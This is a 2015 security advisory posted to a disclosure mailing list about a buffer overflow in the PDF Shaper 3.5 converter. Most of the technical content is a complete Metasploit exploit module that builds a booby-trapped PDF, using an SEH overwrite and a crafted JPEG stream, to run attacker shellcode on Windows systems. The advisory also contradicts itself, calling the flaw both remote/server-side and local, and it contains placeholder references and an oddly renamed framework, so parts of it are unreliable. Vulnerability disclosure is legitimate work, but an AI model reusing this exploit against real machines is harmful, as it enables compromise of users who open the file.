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Subject: [FD] PDF Shaper v3.5 - (MSF) Remote Buffer Overflow Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2015-08-20 12:29:18
Message-ID: 55D5C81E.4040303 () vulnerability-lab ! com
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Document Title:
===============
PDF Shaper v3.5 - (MSF) Remote Buffer Overflow Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1579
Video: https://youtu.be/-HTEIisSiH8
Release Date:
=============
2015-08-16
Vulnerability Laboratory ID (VL-ID):
====================================
1579
Common Vulnerability Scoring System:
====================================
7.9
Product & Service Introduction:
===============================
PDF Shaper is a collection of free PDF tools, which allows you to merge, split, encrypt and \
decrypt PDFs, convert images to PDF, convert PDF to Word RTF or images, extract text and \
images from PDF. Program has easy-to-use user interface, supports Unicode characters and batch \
processing.
(Copy of the Vendor Homepage: http://www.glorylogic.com/pdf-shaper.html )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote buffer overflow \
vulnerability in the official PDF Shaper v3.5 software.
Vulnerability Disclosure Timeline:
==================================
2015-08-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Glorylogic
Product: PDF Shaper - Software 3.5
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A remote buffer overflow vulnerability has been discovered in the official PDF Shaper v3.5 \
software client. The buffer overflow vulnerability can be exploited by local attackers to \
compromise a target system or to gain higher access privileges for further exploitation.
The metasploit exploitcode requires the usage of the metabuffer module. The vulnerability is a \
unicode buffer overflow in the host software. The exploit is remotly exploitable and the issue \
is located on the server-side.
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common \
vulnerability scoring system) count of 7.9. Exploitation of the vulnerability requires a low \
privilege system user account and no user interaction. Successful exploitation of the \
vulnerability results in system compromise by elevation of privileges via overwrite of the \
registers.
Proof of Concept (PoC):
=======================
The remote buffer overflow vulnerability can be exploited by remote attackers without user \
interaction or low privilege system user account. For security demonstration or to reproduce \
the vulnerability follow the provided information and steps below to continue.
Exploit: MSF Console
class Metasploit3 < Msf::Exploit::Remote
#Rank definition: http://dev.metabuffer.com/redmine/projects/framework/wiki/Exploit_Ranking
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'PDF Shaper Buffer Overflow',
'Description' => %q{
PDF Shaper is prone to a security vulnerability when processing PDF files.
The vulnerability appear when we use Convert PDF to Image and use a specially \
crafted PDF file.
This module has been tested successfully on Win Xp, Win 7, Win 8, Win 10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom<metacom27[at]gmail.com>', # Original discovery
'metacom', # MSF Module
],
'References' =>
[
[ 'OSVDB', '<insert OSVDB number here>' ],
[ 'CVE', 'insert CVE number here' ],
[ 'URL', '<insert another link to the exploit/advisory here>' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true,
},
'Targets' =>
[
[ '<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5>',
{
'Ret' => 0x00713726, # pop ebx # pop ebp # ret - PDFTools.exe
'Offset' => 433
}
],
],
'Privileged' => false,
#Correct Date Format: "M D Y"
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
'DisclosureDate' => 'Aug 10 2015',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),], \
self.class)
end
def exploit
file_create(make_pdf)
end
def jpeg
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
buffer << rand_text(target['Offset']) #junk
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
buffer << rand_text(2388 - payload.encoded.length)
return buffer
end
def nObfu(str)
return str
end
def make_pdf
# pdf template taken from PDF Shaper exploit module
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
add_object(2, nObfu("<</Type/Outlines>>"))
add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject \
<</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")) add_object(4, nObfu("[/PDF/Text/ImageC]"))
add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
stream_1 = "stream" << eol
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 \
cm /I0 Do Q" << eol stream_1 << "endstream" << eol
add_object(6, nObfu("<</Length 91>>#{stream_1}"))
stream = "<<" << eol
stream << "/Width 230" << eol
stream << "/BitsPerComponent 8" << eol
stream << "/Name /X" << eol
stream << "/Height 50" << eol
stream << "/Intent /RelativeColorimetric" << eol
stream << "/Subtype /Image" << eol
stream << "/Filter /DCTDecode" << eol
stream << "/Length #{jpeg.length}" << eol
stream << "/ColorSpace /DeviceCMYK" << eol
stream << "/Type /XObject" << eol
stream << ">>"
stream << "stream" << eol
stream << jpeg << eol
stream << "endstream" << eol
add_object(7, stream)
finish_pdf
end
end
Reference(s):
Metabuffer: http://metabuffer.com/download
Current Source: https://github.com/rapid7/metabuffer-framework
Security Risk:
==============
The security risk of the remote buffer overflow vulnerability in the pdf shaper software is \
estimated as high. (CVSS 7.9)
Credits & Authors:
==================
metacom - [http://www.vulnerability-lab.com/show.php?user=metacom]
Disclaimer & Information:
=========================
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